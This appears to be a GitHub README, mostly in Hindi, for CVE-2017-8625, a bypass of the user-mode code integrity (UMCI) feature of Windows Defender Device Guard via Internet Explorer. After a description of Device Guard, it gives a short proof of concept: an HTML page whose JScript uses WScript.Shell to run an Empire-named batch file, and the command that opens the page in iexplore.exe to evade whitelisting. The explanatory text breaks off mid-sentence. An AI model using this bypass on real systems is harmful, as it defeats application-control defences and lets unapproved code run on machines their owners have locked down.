homjxi0e/cve-2017-8625_bypass_umciइंटरनेट एक्सप्लोरर में UMCI बाईपास सुविधा
विंडोज डिफेंडर डिवाइस गार्ड एंटरप्राइज से संबंधित हार्डवेयर और सॉफ्टवेयर सुरक्षा सुविधाओं का एक संयोजन है, जिसे एक साथ कॉन्फ़िगर करने पर, डिवाइस को इस तरह लॉक कर दिया जाता है कि वह केवल उन विश्वसनीय एप्लिकेशन को चला सके जिन्हें आप अपनी कोड इंटीग्रिटी नीतियों में परिभाषित करते हैं। यदि ऐप विश्वसनीय नहीं है, तो वह चल नहीं सकता, पीरियड। ऐसे हार्डवेयर के साथ जो बुनियादी आवश्यकताओं को पूरा करता है, इसका मतलब यह भी है कि भले ही कोई हमलावर विंडोज कर्नेल पर नियंत्रण प्राप्त कर ले, वह दुर्भावनापूर्ण निष्पादन योग्य कोड चलाने में कम सक्षम होगा। उपयुक्त हार्डवेयर के साथ, विंडोज डिफेंडर डिवाइस गार्ड विंडोज 10 (एंटरप्राइज और एजुकेशन डेस्कटॉप SKU और सभी सर्वर SKU में उपलब्ध) में नई वर्चुअलाइजेशन-आधारित सुरक्षा का उपयोग करके कोड इंटीग्रिटी सेवा को माइक्रोसॉफ्ट विंडोज कर्नेल से ही अलग कर सकता है। इस मामले में, कोड इंटीग्रिटी सेवा विंडोज हाइपरवाइजर-संरक्षित कंटेनर में कर्नेल के साथ चलती है। यह मार्गदर्शिका विंडोज डिफेंडर डिवाइस गार्ड में व्यक्तिगत सुविधाओं के साथ-साथ उनकी योजना, कॉन्फ़िगरेशन और तैनाती के तरीके का पता लगाती है। इसमें शामिल हैं:
UMCI अनुमोदित न होने वाले बाइनरी को निष्पादित होने से रोकता है, विंडोज स्क्रिप्टिंग होस्ट को प्रतिबंधित करता है, और पावरशेल को कॉन्स्ट्रेंड लैंग्वेज मोड में रखता है। यह सिस्टम पर कोड निष्पादन प्राप्त करना काफी चुनौतीपूर्ण बना देता है। यह पोस्ट
======================================================================||>
चलिए एक कोड बायपास शो करते हैं
======================================================================||>
<html>
<body>
<script type="text/jscript">
var r = new ActiveXObject("WScript.Shell").Run("empire.bat");
</script>
</body>
</html>
======================================================================||>
PS:> C:\Users\Homjxie> cmd /C "C:\Program Files\Internet Explorer\iexplore.exe " "C:\Users\Homjxie\Desktop\Homjxie.html"
======================================================================||>
======================================================================||> ======================================================================||>